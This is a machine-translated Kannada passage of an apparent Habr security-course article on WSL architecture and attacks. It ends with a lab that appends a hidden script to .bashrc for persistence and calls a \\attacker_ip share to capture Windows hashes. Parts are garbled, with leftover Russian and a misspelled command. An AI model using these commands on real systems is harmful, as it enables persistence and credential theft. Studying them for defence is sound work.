WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

ಹಲೋ, ಹಬ್ರ್! OTUS ಅಕ್ಟೋಬರ್‌ನಲ್ಲಿ ಹೊಸ ಕೋರ್ಸ್ ಸ್ಟ್ರೀಮ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸುತ್ತದೆ "ಲಿನಕ್ಸ್ ಭದ್ರತೆ". ಕೋರ್ಸ್‌ನ ಪ್ರಾರಂಭದ ನಿರೀಕ್ಷೆಯಲ್ಲಿ, ನಮ್ಮ ಶಿಕ್ಷಕರಲ್ಲಿ ಒಬ್ಬರಾದ ಅಲೆಕ್ಸಾಂಡರ್ ಕೋಲೆಸ್ನಿಕೋವ್ ಅವರು ಬರೆದ ಲೇಖನವನ್ನು ನಾವು ನಿಮ್ಮೊಂದಿಗೆ ಹಂಚಿಕೊಳ್ಳುತ್ತಿದ್ದೇವೆ.

WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

2016 ರಲ್ಲಿ, ಮೈಕ್ರೋಸಾಫ್ಟ್ ಹೊಸ WSL ತಂತ್ರಜ್ಞಾನವನ್ನು IT ಸಮುದಾಯಕ್ಕೆ ಪರಿಚಯಿಸಿತು (Wಇಂಡೋಸ್ Sಗಾಗಿ ಉಪವ್ಯವಸ್ಥೆ Linux), ಇದು ಭವಿಷ್ಯದಲ್ಲಿ ಸಾಮಾನ್ಯ ಮತ್ತು ಸುಧಾರಿತ OS ಬಳಕೆದಾರರಲ್ಲಿ ಜನಪ್ರಿಯತೆಗಾಗಿ ಹೋರಾಡುತ್ತಿರುವ ಹಿಂದೆ ಹೊಂದಾಣಿಕೆ ಮಾಡಲಾಗದ ಸ್ಪರ್ಧಿಗಳನ್ನು ಒಂದುಗೂಡಿಸಲು ಸಾಧ್ಯವಾಗಿಸಿತು: ವಿಂಡೋಸ್ ಮತ್ತು ಲಿನಕ್ಸ್. ಈ ತಂತ್ರಜ್ಞಾನವು ಲಿನಕ್ಸ್ ಅನ್ನು ರನ್ ಮಾಡುವ ಅಗತ್ಯವಿಲ್ಲದೇ ವಿಂಡೋಸ್ ಪರಿಸರದಲ್ಲಿ ಲಿನಕ್ಸ್ ಓಎಸ್ ಪರಿಕರಗಳನ್ನು ಬಳಸಲು ಸಾಧ್ಯವಾಗಿಸಿತು, ಉದಾಹರಣೆಗೆ, ಮಲ್ಟಿ-ಬೂಟ್ ಬಳಸಿ. Habr ನಲ್ಲಿ ನೀವು WSL ಅನ್ನು ಬಳಸುವ ಪ್ರಯೋಜನಗಳನ್ನು ವಿವರಿಸುವ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಲೇಖನಗಳನ್ನು ಕಾಣಬಹುದು. ಆದಾಗ್ಯೂ, ದುರದೃಷ್ಟವಶಾತ್, ಈ ಲೇಖನದ ರಚನೆಯ ಸಮಯದಲ್ಲಿ, ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ಗಳ ಅಂತಹ ಸಹಜೀವನದ ಸುರಕ್ಷತೆಯ ಕುರಿತು ಯಾವುದೇ ಅಧ್ಯಯನಗಳು ಈ ಸಂಪನ್ಮೂಲದಲ್ಲಿ ಕಂಡುಬಂದಿಲ್ಲ. ಈ ಪೋಸ್ಟ್ ಇದನ್ನು ಸರಿಪಡಿಸುವ ಪ್ರಯತ್ನವಾಗಿದೆ. ಲೇಖನವು WSL 1 ಮತ್ತು 2 ಆರ್ಕಿಟೆಕ್ಚರ್‌ಗಳ ವೈಶಿಷ್ಟ್ಯಗಳ ಬಗ್ಗೆ ಮಾತನಾಡುತ್ತದೆ ಮತ್ತು ಈ ತಂತ್ರಜ್ಞಾನಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಸಿಸ್ಟಮ್‌ಗಳ ಮೇಲಿನ ದಾಳಿಯ ಹಲವಾರು ಉದಾಹರಣೆಗಳನ್ನು ಪರಿಶೀಲಿಸುತ್ತದೆ. ಲೇಖನವನ್ನು 2 ಭಾಗಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗಿದೆ. ಮೊದಲನೆಯದು ಲಿನಕ್ಸ್ ಮತ್ತು ವಿಂಡೋಸ್‌ನಿಂದ ಮುಖ್ಯ ಸೈದ್ಧಾಂತಿಕ ದಾಳಿ ವಿಧಾನಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ. ಎರಡನೇ ಲೇಖನವು ಪರೀಕ್ಷಾ ವಾತಾವರಣವನ್ನು ಹೊಂದಿಸುವುದು ಮತ್ತು ದಾಳಿಗಳನ್ನು ಪುನರುತ್ಪಾದಿಸುವುದನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ.

WSL 1: ವಾಸ್ತುಶಿಲ್ಪದ ವೈಶಿಷ್ಟ್ಯಗಳು

WSL ಭದ್ರತಾ ಸಮಸ್ಯೆಗಳಿಗೆ ಅತ್ಯಂತ ನಿಖರವಾದ ಡೈವ್ಗಾಗಿ, ಉಪವ್ಯವಸ್ಥೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಮುಖ್ಯ ಸೂಕ್ಷ್ಮ ವ್ಯತ್ಯಾಸಗಳನ್ನು ನಿರ್ಧರಿಸುವುದು ಅವಶ್ಯಕ. ವಿಂಡೋಸ್ ಓಎಸ್ ಚಾಲನೆಯಲ್ಲಿರುವ ಹೋಸ್ಟ್‌ನಲ್ಲಿ ಲಿನಕ್ಸ್ ಟರ್ಮಿನಲ್ ಮೂಲಕ ಕೆಲಸ ಮಾಡುವ ಸಾಮರ್ಥ್ಯ ಡಬ್ಲ್ಯುಎಸ್‌ಎಲ್‌ನಿಂದ ಪರಿಹರಿಸಲ್ಪಟ್ಟ ಪ್ರಮುಖ ಬಳಕೆದಾರರ ಕಾರ್ಯಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. ಅಲ್ಲದೆ, ನೀಡಲಾದ ಹೊಂದಾಣಿಕೆಯು ಎಷ್ಟು ಸ್ಥಳೀಯವಾಗಿದೆಯೆಂದರೆ ಲಿನಕ್ಸ್ ಎಕ್ಸಿಕ್ಯೂಟಬಲ್‌ಗಳನ್ನು (ELFs) ನೇರವಾಗಿ ವಿಂಡೋಸ್ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಚಲಾಯಿಸಬಹುದು. ಈ ಗುರಿಗಳನ್ನು ಸಾಧಿಸಲು, ವಿಂಡೋಸ್ 10 ನಲ್ಲಿ ವಿಶೇಷ ಉಪವ್ಯವಸ್ಥೆಯನ್ನು ರಚಿಸಲಾಗಿದೆ ಅದು ನಿರ್ದಿಷ್ಟ ಸಿಸ್ಟಮ್ ಕರೆಗಳ ಸೆಟ್ ಅನ್ನು ಬಳಸಿಕೊಂಡು ಲಿನಕ್ಸ್ ಅಪ್ಲಿಕೇಶನ್‌ಗಳನ್ನು ಚಲಾಯಿಸಲು ನಿಮಗೆ ಅನುಮತಿಸುತ್ತದೆ - ಹೀಗಾಗಿ, ವಿಂಡೋಸ್‌ನಲ್ಲಿ ಲಿನಕ್ಸ್ ಸಿಸ್ಕಾಲ್‌ಗಳ ಸೆಟ್ ಅನ್ನು ಮ್ಯಾಪ್ ಮಾಡಲು ಪ್ರಯತ್ನಿಸಲಾಯಿತು. ಹೊಸ ಡ್ರೈವರ್‌ಗಳು ಮತ್ತು ಹೊಸ ಪ್ರಕ್ರಿಯೆ ಸ್ವರೂಪವನ್ನು ಸೇರಿಸುವ ಮೂಲಕ ಇದನ್ನು ಭೌತಿಕವಾಗಿ ಕಾರ್ಯಗತಗೊಳಿಸಲಾಗಿದೆ. ದೃಷ್ಟಿಗೋಚರವಾಗಿ ವಾಸ್ತುಶಿಲ್ಪವು ಈ ರೀತಿ ಕಾಣುತ್ತದೆ:

WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

ವಾಸ್ತವವಾಗಿ, ಲಿನಕ್ಸ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್ನೊಂದಿಗಿನ ಪರಸ್ಪರ ಕ್ರಿಯೆಯನ್ನು ಹಲವಾರು ಕರ್ನಲ್ ಮಾಡ್ಯೂಲ್ಗಳು ಮತ್ತು ವಿಶೇಷ ರೀತಿಯ ಪ್ರಕ್ರಿಯೆಯ ಮೂಲಕ ಆಯೋಜಿಸಲಾಗಿದೆ - ಪಿಕೋ. ಮೇಲಿನ ರೇಖಾಚಿತ್ರದಿಂದ, ಹೋಸ್ಟ್‌ನಲ್ಲಿ ಲಿನಕ್ಸ್ ನಿದರ್ಶನದಲ್ಲಿ ಚಾಲನೆಯಲ್ಲಿರುವ ಪ್ರಕ್ರಿಯೆಯು ಸ್ಥಳೀಯವಾಗಿರಬೇಕು ಮತ್ತು ಸಾಮಾನ್ಯ ವಿಂಡೋಸ್ ಅಪ್ಲಿಕೇಶನ್‌ಗಳಂತೆಯೇ ಅದೇ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಬಳಸಬೇಕು ಎಂದು ನೀವು ನೋಡಬಹುದು. ಆದರೆ ಇದನ್ನು ಸಾಧಿಸುವುದು ಹೇಗೆ? ಯೋಜನೆಯಲ್ಲಿ ಡ್ರಾಬ್ರಿಡ್ಜ್ ಮತ್ತೊಂದು OS ನ ಅಪ್ಲಿಕೇಶನ್ ಅನ್ನು ಚಲಾಯಿಸಲು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಂನ ಎಲ್ಲಾ ಅಗತ್ಯ ಘಟಕಗಳನ್ನು (ಅದರ ಆವೃತ್ತಿಯನ್ನು ಅವಲಂಬಿಸಿ) ಒದಗಿಸುವ Windows ಗಾಗಿ ಪ್ರಕ್ರಿಯೆ ಪರಿಕಲ್ಪನೆಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಗಿದೆ.

ಪ್ರಸ್ತಾವಿತ ಅಮೂರ್ತತೆಯು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್ (ನಿರ್ದಿಷ್ಟವಾಗಿ, ವಿಂಡೋಸ್) ಮೇಲೆ ಕೇಂದ್ರೀಕರಿಸದಿರಲು ಸಾಧ್ಯವಾಗಿಸಿತು, ಇದರಲ್ಲಿ ಮತ್ತೊಂದು OS ನ ಪ್ರಕ್ರಿಯೆಯು ಪ್ರಾರಂಭವಾಗುವ ನಿರೀಕ್ಷೆಯಿದೆ ಮತ್ತು ಸಾಮಾನ್ಯ ವಿಧಾನವನ್ನು ಸೂಚಿಸಿದೆ.

ಹೀಗಾಗಿ, ಪಿಕೊ ಪ್ರಕ್ರಿಯೆಯೊಳಗಿನ ಯಾವುದೇ ಅಪ್ಲಿಕೇಶನ್ ವಿಂಡೋಸ್ ಕರ್ನಲ್ ಅನ್ನು ಪರಿಗಣಿಸದೆ ರನ್ ಆಗಬಹುದು:

  1. ಸಿಸ್ಟಮ್ ಕರೆಗಳ ಹೊಂದಾಣಿಕೆ ಮತ್ತು ಅನುವಾದದ ಸಮಸ್ಯೆಗಳನ್ನು ವಿಶೇಷ ಪೂರೈಕೆದಾರರು ಪರಿಹರಿಸಬೇಕು;
  2. ಭದ್ರತಾ ಮಾನಿಟರ್ ಮೂಲಕ ಪ್ರವೇಶ ನಿಯಂತ್ರಣವನ್ನು ಮಾಡಬೇಕು. ಮಾನಿಟರ್ ಕರ್ನಲ್‌ನಲ್ಲಿದೆ ಮತ್ತು ಆದ್ದರಿಂದ ವಿಂಡೋಸ್‌ಗೆ ಹೊಸ ಡ್ರೈವರ್‌ನ ರೂಪದಲ್ಲಿ ನವೀಕರಣದ ಅಗತ್ಯವಿದೆ ಅದು ಅಂತಹ ಪ್ರಕ್ರಿಯೆಗಳಿಗೆ ಪೂರೈಕೆದಾರರಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ. ಮೂಲಮಾದರಿ ಪಿಕೊ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಕ್ರಮಬದ್ಧವಾಗಿ ಕೆಳಗೆ ಪ್ರಸ್ತುತಪಡಿಸಲಾಗಿದೆ:

WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

Linux ಫೈಲ್ ಸಿಸ್ಟಮ್ ಕೇಸ್-ಸೆನ್ಸಿಟಿವ್ ಫೈಲ್ ಮತ್ತು ಡೈರೆಕ್ಟರಿ ಹೆಸರುಗಳನ್ನು ಬಳಸುವುದರಿಂದ, WSL - VolFS ಮತ್ತು DriveFS ನೊಂದಿಗೆ ಕೆಲಸ ಮಾಡಲು 2 ರೀತಿಯ ಫೈಲ್ ಸಿಸ್ಟಮ್‌ಗಳನ್ನು ವಿಂಡೋಸ್‌ಗೆ ಸೇರಿಸಲಾಗಿದೆ. VolFS ಲಿನಕ್ಸ್ ಫೈಲ್ ಸಿಸ್ಟಮ್‌ನ ಅಳವಡಿಕೆಯಾಗಿದೆ, ಡ್ರೈವ್‌ಎಫ್‌ಎಸ್ ವಿಂಡೋಸ್ ನಿಯಮಗಳ ಪ್ರಕಾರ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಫೈಲ್ ಸಿಸ್ಟಮ್ ಆಗಿದೆ, ಆದರೆ ಕೇಸ್ ಸೆನ್ಸಿಟಿವಿಟಿ ಆಯ್ಕೆ ಮಾಡುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿದೆ.

WSL 2

WSL 1 ಹಲವಾರು ಮಿತಿಗಳನ್ನು ಹೊಂದಿದ್ದು ಅದು ಗರಿಷ್ಟ ಶ್ರೇಣಿಯ ಕಾರ್ಯಗಳನ್ನು ಪರಿಹರಿಸಲು ಅದನ್ನು ಬಳಸಲು ಅನುಮತಿಸಲಿಲ್ಲ: ಉದಾಹರಣೆಗೆ, ಇದು 32-ಬಿಟ್ ಲಿನಕ್ಸ್ ಅಪ್ಲಿಕೇಶನ್‌ಗಳನ್ನು ಚಲಾಯಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರಲಿಲ್ಲ ಮತ್ತು ಸಾಧನ ಡ್ರೈವರ್‌ಗಳನ್ನು ಬಳಸುವುದು ಅಸಾಧ್ಯವಾಗಿತ್ತು. ಆದ್ದರಿಂದ, 2020 ರಲ್ಲಿ, WSL 2 ಅನ್ನು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು, ಇದು ಉಪವ್ಯವಸ್ಥೆಯನ್ನು ನಿರ್ಮಿಸುವ ವಿಧಾನವನ್ನು ಬದಲಾಯಿಸಿತು. WSL 2 ಒಂದು ಆಪ್ಟಿಮೈಸ್ಡ್ ವರ್ಚುವಲ್ ಯಂತ್ರವಾಗಿದ್ದು ಅದು WSL 1 ರ ಸಂಪನ್ಮೂಲ ಬಳಕೆಯ ಗುಣಲಕ್ಷಣಗಳಿಗೆ ಹೊಂದಿಕೆಯಾಗುತ್ತದೆ. ಈಗ, ವಿಂಡೋಸ್ ಓಎಸ್ ಬಳಕೆದಾರರಿಂದ ಪರಿಹರಿಸಲಾದ ಸಮಸ್ಯೆಗಳನ್ನು ಅವಲಂಬಿಸಿ, ನೀವು ಲಿನಕ್ಸ್ ಉಪವ್ಯವಸ್ಥೆಯ ಅಗತ್ಯವಿರುವ ಆವೃತ್ತಿಯನ್ನು ಆಯ್ಕೆ ಮಾಡಬಹುದು. ಸಂಭವನೀಯ ದೋಷಗಳನ್ನು ತಗ್ಗಿಸಲು, WSL 2 ಅನ್ನು ವಿಂಡೋಸ್ 10 ನಲ್ಲಿ ಹೈಪರ್-ವಿ ಆಧರಿಸಿ ಅಳವಡಿಸಲಾಗಿದೆ. ಈ ರೂಪದಲ್ಲಿ, ವಿಂಡೋಸ್ ಲಿನಕ್ಸ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್ ಕರ್ನಲ್ ಅನ್ನು ಪ್ರತ್ಯೇಕವಾಗಿ ಚಲಾಯಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿದೆ. ಈ ಪ್ರದೇಶದಲ್ಲಿ ವಿಂಡೋಸ್ ಅಭಿವೃದ್ಧಿಯ ದಿಕ್ಕನ್ನು ತೋರಿಸಬೇಕಾದ ಬೀಟಾ ವೈಶಿಷ್ಟ್ಯವಾಗಿ WSL ನ ಆವೃತ್ತಿ 1 ಅನ್ನು ಪರಿಚಯಿಸಲಾಗಿದೆ ಎಂದು ನೆನಪಿನಲ್ಲಿಟ್ಟುಕೊಳ್ಳುವುದು ಯೋಗ್ಯವಾಗಿದೆ, ಆದ್ದರಿಂದ ಹೈಪರ್-ವಿ ಗೆ ಪರಿವರ್ತನೆ ಅನಿವಾರ್ಯವಾಗಿದೆ. ಅಂತಿಮ ವಾಸ್ತುಶಿಲ್ಪವು ಈ ರೀತಿ ಕಾಣುತ್ತದೆ:

WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

ಈ ಆವೃತ್ತಿಯಲ್ಲಿ, ವಿಂಡೋಸ್ ಮತ್ತು ಲಿನಕ್ಸ್ ಕರ್ನಲ್‌ಗಳು ತಮ್ಮದೇ ಆದ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಹೊಂದಿವೆ ಮತ್ತು ಛೇದಕವು ಫೈಲ್ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಮಾತ್ರ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆ, ಆದರೆ ಈ ಛೇದಕವು ಪೂರ್ಣಗೊಂಡಿಲ್ಲ. 9P ಪ್ರೋಟೋಕಾಲ್ ಬಳಸಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಕ್ಲೈಂಟ್-ಸರ್ವರ್ ಹೊದಿಕೆಯ ಮೂಲಕ ಫೈಲ್ ಸಿಸ್ಟಮ್‌ಗಳ ನಡುವಿನ ಸಂವಹನವನ್ನು ಕೈಗೊಳ್ಳಲಾಗುತ್ತದೆ.

ಇಂದು ಮೈಕ್ರೋಸಾಫ್ಟ್ WSL 1 ಮತ್ತು WSL 2 ನಡುವೆ ಬದಲಾಯಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಎರಡೂ ಆವೃತ್ತಿಗಳು ಬಳಕೆಗೆ ಲಭ್ಯವಿದೆ.

WSL ಭದ್ರತೆ

ಈ ಸಮಯದಲ್ಲಿ, ಉಪವ್ಯವಸ್ಥೆಗಳ ನಡುವಿನ ಸಂವಹನವನ್ನು ಆಕ್ರಮಣ ಮಾಡಲು ಕಾನೂನುಬದ್ಧ OS ಪರಿಕರಗಳನ್ನು ಬಳಸುವ ಕೆಲವು ವಿಧಾನಗಳನ್ನು ವಿವರಿಸುವ ಹಲವಾರು ಕೃತಿಗಳಿವೆ. ಬರೆಯುವ ಸಮಯದಲ್ಲಿ ದಾಳಿಯ ಪ್ರಸ್ತುತತೆಯನ್ನು ಪರಿಶೀಲಿಸಲು ನಾವು ಅವರ ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳನ್ನು ಬಳಸುತ್ತೇವೆ. ದಾಳಿಗಳು ಮತ್ತು ಸನ್ನಿವೇಶಗಳ ಸಾಮಾನ್ಯ ಪಟ್ಟಿ:

1. ಫೈಲ್ ಸಿಸ್ಟಮ್ ಅನುಷ್ಠಾನ: ಪ್ರವೇಶ ಹಕ್ಕುಗಳು, ಹಂಚಿಕೆಯ ಡೈರೆಕ್ಟರಿಗಳ ಲಭ್ಯತೆ/ಡೇಟಾ ವಿನಿಮಯ ಕಾರ್ಯವಿಧಾನಗಳು.

ನಿಂದ ಪ್ರವೇಶ ನಿಯಮಗಳ ಉಲ್ಲಂಘನೆಯನ್ನು ನಿರ್ಧರಿಸಲು ಸಂಶೋಧನೆ ನಡೆಸಲಾಯಿತು ಲಿನಕ್ಸ್ ಎಫ್ಎಸ್->ವಿಂಡೋಸ್ ಎಫ್ಎಸ್, ವಿಂಡೋಸ್ ಎಫ್ಎಸ್->ಲಿನಕ್ಸ್ ಎಫ್ಎಸ್. ಟಾರ್ಗೆಟ್ ಓಎಸ್‌ನಲ್ಲಿ ನೀಡಿರುವ ಫೈಲ್ ಅನ್ನು ಮಾರ್ಪಡಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಸಂಶೋಧನೆಯು ಪ್ರದರ್ಶಿಸಿದೆ. ಬದಲಿಯಾಗಿ, ನಕಲುಗಳನ್ನು ರಚಿಸಲು ಮತ್ತು ಫೈಲ್ ಸಿಸ್ಟಮ್‌ಗಳ ಭಾಗವನ್ನು ಅಳಿಸಲು ಪ್ರಯತ್ನಿಸಲಾಯಿತು.

ಸನ್ನಿವೇಶ:

  • A. ವಿಂಡೋಸ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನಿಂದ ದಾಳಿ - ಲಿನಕ್ಸ್ ಓಎಸ್‌ನ / ಇತ್ಯಾದಿ ಡೈರೆಕ್ಟರಿಯಿಂದ ಫೈಲ್‌ಗಳ ಮಾರ್ಪಾಡು.
  • B. Linux ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನಿಂದ ದಾಳಿ - ಡೈರೆಕ್ಟರಿಗಳಲ್ಲಿನ ಫೈಲ್‌ಗಳ ಮಾರ್ಪಾಡು: C:Windows, C:Program Files, C:Users<User>

2. ನೆಟ್ವರ್ಕ್ ಸ್ಟಾಕ್ನ ಅನುಷ್ಠಾನ.

ವಿಂಡೋಸ್‌ನಲ್ಲಿನ ಲಿನಕ್ಸ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನಿಂದ ದಾಳಿಯ ಉದಾಹರಣೆಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಸಂಶೋಧನೆಯನ್ನು ನಡೆಸಲಾಯಿತು. ನೆಟ್ವರ್ಕ್ ಸ್ಟಾಕ್ನ ವೈಶಿಷ್ಟ್ಯಗಳನ್ನು ಬಳಸಲಾಗಿದೆ, ಅವುಗಳೆಂದರೆ, ವಿವಿಧ ಸಂಪನ್ಮೂಲಗಳ ಮೇಲೆ ದೃಢೀಕರಣ ಕಾರ್ಯವಿಧಾನಗಳು.

ಸನ್ನಿವೇಶ:

  • ವಿಂಡೋಸ್ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಆಕ್ರಮಿಸಿಕೊಂಡಿರುವ ಪೋರ್ಟ್‌ಗೆ ಪ್ರವೇಶವನ್ನು ತೆರೆಯಲಾಗುತ್ತಿದೆ
  • ಸೂಕ್ತವಾದ ಹಕ್ಕುಗಳಿಲ್ಲದೆ ಬಂದರನ್ನು ತೆರೆಯುವುದು
  • ವಿಂಡೋಸ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಂನಲ್ಲಿ ಎಲ್ಫ್ ಫೈಲ್ ಅನ್ನು ಬಳಸಿಕೊಂಡು ರಿವರ್ಸ್ ಶೆಲ್ ಅನ್ನು ಚಾಲನೆ ಮಾಡಲಾಗುತ್ತಿದೆ.

3. WSL ಉಪವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸಿಕೊಂಡು ದುರುದ್ದೇಶಪೂರಿತ ಸಾಫ್ಟ್‌ವೇರ್ ಪ್ರಕ್ರಿಯೆಗಳ ಉಡಾವಣೆಯನ್ನು ಮರೆಮಾಡುವುದು.

ಸಂಶೋಧನೆಯು ಸರಳವಾದ ಸತ್ಯವನ್ನು ಆಧರಿಸಿದೆ - WSL 1 ರ ಸಂದರ್ಭದಲ್ಲಿ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ನಿಂದ ಕಾನೂನುಬದ್ಧ ಪೂರೈಕೆದಾರರನ್ನು ಬಳಸಿಕೊಂಡು ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಮತ್ತೊಂದು ಕರ್ನಲ್‌ನಲ್ಲಿ ಭದ್ರತಾ ಉಪವ್ಯವಸ್ಥೆಗಳು ಈವೆಂಟ್‌ಗಳನ್ನು ಪ್ರತಿಬಂಧಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ. WSL 2 ರ ಸಂದರ್ಭದಲ್ಲಿ, ಸಂಭವಿಸುವ ಈವೆಂಟ್‌ಗಳನ್ನು ವೀಕ್ಷಿಸಲು ಯಾವುದೇ ಮಾರ್ಗವಿಲ್ಲ. ಹಗುರವಾದ ವರ್ಚುವಲ್ ಯಂತ್ರದೊಳಗೆ ಪ್ರತ್ಯೇಕ ಕರ್ನಲ್‌ನಲ್ಲಿ.

ಸನ್ನಿವೇಶ:

1) ಸಿಸ್ಟಮ್‌ಗೆ ರಿಮೋಟ್ ಪ್ರವೇಶಕ್ಕಾಗಿ ಅಪ್ಲಿಕೇಶನ್ ಅನ್ನು ಪ್ರಾರಂಭಿಸಿ ಮತ್ತು ಲಾಗ್ ಮಾಡಿದ ಈವೆಂಟ್‌ಗಳನ್ನು ವೀಕ್ಷಿಸಿ.

WSL 1 ಪ್ರಯೋಗಗಳು: ಹ್ಯಾಶ್ ಪ್ರತಿಬಂಧ (ವಿಂಡೋಸ್)

ಅಂತಿಮವಾಗಿ ನಾವು ಪ್ರಾಯೋಗಿಕ ಭಾಗಕ್ಕೆ ಬಂದೆವು. ಮೊದಲಿಗೆ, ನೀವು ಪರೀಕ್ಷಾ ಪರಿಸರವನ್ನು ಹೊಂದಿಸಬೇಕಾಗಿದೆ. ವಿಂಡೋಸ್ 10 2004 ಅನ್ನು ಸ್ಥಾಪಿಸಿದ ಬೆಂಚ್‌ನಲ್ಲಿ ಎಲ್ಲಾ ಪ್ರಯೋಗಗಳನ್ನು ಕೈಗೊಳ್ಳಲಾಗುತ್ತದೆ. ಉಬುಂಟು 18.04 ಚಿತ್ರವನ್ನು WSL ಗಾಗಿ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್ ಚಿತ್ರವಾಗಿ ಆಯ್ಕೆ ಮಾಡಲಾಗಿದೆ. ಚಿತ್ರವನ್ನು ಯಾದೃಚ್ಛಿಕವಾಗಿ ಆಯ್ಕೆ ಮಾಡಲಾಗಿದೆ, ಮತ್ತು ಯಾವುದೇ ಇತರ ಅದೇ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ಸ್ಟ್ಯಾಂಡ್ ಅನ್ನು ಹೊಂದಿಸಲು ಆಜ್ಞೆಗಳು:

ನೀವು ಮೊದಲು ಪ್ರಾರಂಭಿಸಬೇಕು powershell.exe ನಿರ್ವಾಹಕರಾಗಿ.

WSL 1 ಗಾಗಿ ನೀವು ಆಜ್ಞೆಗಳನ್ನು ಚಲಾಯಿಸಬೇಕು:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • ಸ್ಟ್ಯಾಂಡ್ ಅನ್ನು ರೀಬೂಟ್ ಮಾಡಿದ ನಂತರ, ನೀವು ಬ್ಯಾಷ್ ಆಜ್ಞೆಯನ್ನು ಕರೆಯಬಹುದು. ಎಲ್ಲವೂ ಸರಿಯಾಗಿ ಕೆಲಸ ಮಾಡಿದರೆ, ನೀವು ವಿಂಡೋಸ್ ಕನ್ಸೋಲ್‌ನಲ್ಲಿ ಇದೇ ರೀತಿಯ ಔಟ್‌ಪುಟ್ ಅನ್ನು ನೋಡುತ್ತೀರಿ:

    WSL ಪ್ರಯೋಗಗಳು. ಭಾಗ 1

    ನಾವು ಆಕ್ರಮಣಕಾರರ ಯಂತ್ರವಾಗಿ Kali Linux ವಿತರಣೆಯನ್ನು ಬಳಸುತ್ತೇವೆ; ಎಲ್ಲಾ ಯಂತ್ರಗಳು ಒಂದೇ ಸ್ಥಳೀಯ ನೆಟ್‌ವರ್ಕ್‌ನಲ್ಲಿರಬೇಕು.

    ನಾವು ವಿಂಡೋಸ್ ಗಣಕದಲ್ಲಿ WSL ಗೆ ಅನಪೇಕ್ಷಿತ ಪ್ರವೇಶವನ್ನು ಹೊಂದಿದ್ದೇವೆ ಎಂದು ಭಾವಿಸೋಣ. Linux ನಿಂದ ಆಜ್ಞೆಯನ್ನು ಕರೆಯುವ ಮೂಲಕ Linux ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್ ಅನ್ನು ಆಕ್ರಮಣ ಮಾಡಲು ಪ್ರಯತ್ನಿಸೋಣ. ದಾಳಿಯನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಲು, ನಾವು ಸರಳವಾದ ಆಟೋರನ್ ತಂತ್ರವನ್ನು ಬಳಸುತ್ತೇವೆ - ಲಿನಕ್ಸ್ ಪರಿಸರದಲ್ಲಿ ಕಾರ್ಯಗತಗೊಳಿಸಲು ನಾವು ನಮ್ಮ ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಸೇರಿಸುತ್ತೇವೆ. ಇದನ್ನು ಮಾಡಲು ನೀವು ಫೈಲ್ ಅನ್ನು ಬದಲಾಯಿಸಬೇಕಾಗಿದೆ .bashrc.

    WSL ನೊಂದಿಗೆ ಯಂತ್ರದಲ್ಲಿ ನಾವು ಕಾರ್ಯಗತಗೊಳಿಸುತ್ತೇವೆ:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

